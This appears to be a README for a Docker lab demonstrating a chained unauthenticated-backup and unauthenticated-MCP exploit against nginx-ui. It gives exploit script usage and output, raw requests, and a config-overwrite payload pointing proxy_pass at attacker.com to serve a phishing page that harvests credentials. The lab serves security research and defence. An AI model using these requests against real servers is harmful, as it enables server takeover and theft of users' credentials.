
Docker Compose setup to demonstrate the nginx-ui missing authentication vulnerability
Disclaimer: This repository is intended for educational and authorised security research purposes only. All techniques demonstrated here should only be used against systems you own or have explicit written permission to test. The authors accept no responsibility for misuse. Do not run this against any system without authorisation.
A self-contained Docker Compose lab demonstrating a two-CVE chain against nginx-ui v2.3.1 that achieves full nginx takeover with zero prior knowledge — no usernames, no passwords, no tokens.
GET /api/backup requires no authentication. The endpoint returns a full encrypted backup of the nginx-ui installation — including app.ini — and sends the AES-256-CBC decryption key and IV in plaintext in the response header:
X-Backup-Security: <base64_key>:<base64_iv>
From the source (api/backup/router.go):
r.GET("/backup", CreateBackup) // ❌ no middleware
r.POST("/restore", middleware.EncryptedForm(), RestoreBackup)
Decrypting the backup yields app.ini, which contains the [node] Secret needed for Step 2.
| CVE | CVE-2026-27944 (GHSA-g9w5-qffc-6762) |
| CVSS | 9.8 Critical |
| Affected | nginx-ui < 2.3.2 |
| Fixed in | nginx-ui 2.3.3 |
nginx-ui v2.3.x added a Model Context Protocol (MCP) interface exposing 12 nginx management tools. The bug is a single missing middleware call in mcp/router.go:
r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), ...)
r.Any("/mcp_message", middleware.IPWhiteList(), ...) // ❌ MISSING AuthRequired()
With a sessionId obtained via the node secret, an attacker can POST to /mcp_message with no user credentials and invoke any privileged tool — including nginx_config_modify and reload_nginx.
| CVE | CVE-2026-33032 |
| Alias | MCPwn (Pluto Security) |
| CVSS | 9.8 Critical |
| Affected | nginx-ui ≤ 2.3.3 |
| Fixed in | nginx-ui 2.3.4 |
┌──────────────────────────────────────────────────────────┐
│ Browser │
│ http://localhost:8080 ──► nginx_ui (:80) │
│ │ │
│ Attacker ▼ │
│ http://localhost:9000 ──► nginx_ui (:9000) VULNERABLE │
│ (no credentials) uozi/nginx-ui:v2.3.1 │
│ │
│ ┌─────────────────────────┐ │
│ │ webapp (green) │ legitimate │
│ │ proxy_pass default │ login form │
│ └─────────────────────────┘ │
│ ┌─────────────────────────┐ │
│ │ malicious_site (red) │ phishing clone │
│ │ proxy_pass after attack │ harvests creds │
│ └─────────────────────────┘ │
└──────────────────────────────────────────────────────────┘
nginx-ui bundles its own nginx instance. When the exploit calls reload_nginx via MCP, it reloads the same nginx serving traffic on :8080 — no host access required.
Requirements: Docker + Docker Compose + Python 3.10+
git clone <repo-url>
cd nginx-ui-vuln-lab
docker compose up -d
| URL | |
|---|---|
http://localhost:8080 | Victim site — green (legitimate) |
http://localhost:9000 | nginx-ui admin panel |
pip install -r exploit/requirements.txt
python3 exploit/exploit.py --url http://localhost:9000
The script chains both CVEs with no prior credentials:
==============================================================
CVE-2026-27944 + CVE-2026-33032 — nginx-ui Zero-Cred RCE
Target : http://localhost:9000
==============================================================
[*] CVE-2026-27944 — downloading backup (no auth)
[+] AES key+IV from header: kW3pCR7RLawHFVeF...:oTr+K3Bd...
[+] Node secret extracted: 605f228e-2480-49ec-8dd2-045d8d8a073f
[*] CVE-2026-33032 — opening unauthenticated MCP session (GET /mcp)
[+] sessionId: ee83906e-ee26-4d65-83f8-91d62b00770a
[*] Recon — reading current config
[+] Current: proxy_pass http://webapp:80;
[*] Overwriting default.conf via POST /mcp_message (no auth)
[+] New: proxy_pass http://malicious_site:80;
[*] Reloading nginx via POST /mcp_message (no auth)
[+] nginx reloaded — config is live
[!] Attack complete.
Victims at http://localhost:8080/ are now served the phishing page.
View captured credentials: http://localhost:8080/?debug=1
After the exploit, http://localhost:8080 switches from the green legitimate page to the red phishing clone — at the same URL, with no indication to the victim.
Open http://localhost:8080/?debug=1 to reveal the attacker panel and see credentials captured in real time.
python3 exploit/exploit.py --url http://localhost:9000 --reset
Uses the same CVE chain to restore the original config and reload nginx.
GET /api/backup HTTP/1.1
Host: target:9000
Response:
HTTP/1.1 200 OK
X-Backup-Security: <base64_key>:<base64_iv>
Content-Type: application/zip
Decrypt the zip with the provided key/IV → extract app.ini → read [node] Secret.
Request 1 — Open SSE session (node secret, no user auth):
GET /mcp?node_secret=<uuid>
SSE stream responds with a sessionId.
Request 2+ — Invoke tools (no auth at all):
POST /mcp_message?sessionId=<uuid>
Content-Type: application/json
{
"jsonrpc": "2.0", "id": 1, "method": "tools/call",
"params": {
"name": "nginx_config_modify",
"arguments": {
"relative_path": "default.conf",
"content": "server { location / { proxy_pass http://attacker.com; } }",
"sync_overwrite": false
}
}
}
No Authorization header. No cookie. AuthRequired() is simply absent from the /mcp_message route.
| Tool | Impact |
|---|---|
nginx_config_modify | Overwrite any config file |
nginx_config_add | Create new config files |
nginx_config_get | Read any config file |
nginx_config_list | List all configs |
nginx_config_enable/disable | Toggle site configs |
nginx_config_rename | Move/rename config files |
nginx_config_mkdir | Create directories |
nginx_config_history | View change history |
nginx_config_base_path | Reveal config root path |
nginx_status | Check nginx status |
reload_nginx | Apply config changes live |
restart_nginx | Full nginx restart |
[node] IPWhiteList in app.ini to restrict MCP access to specific IPs/etc/nginx/conf.d/ with file integrity monitoring (auditd, Wazuh, etc.)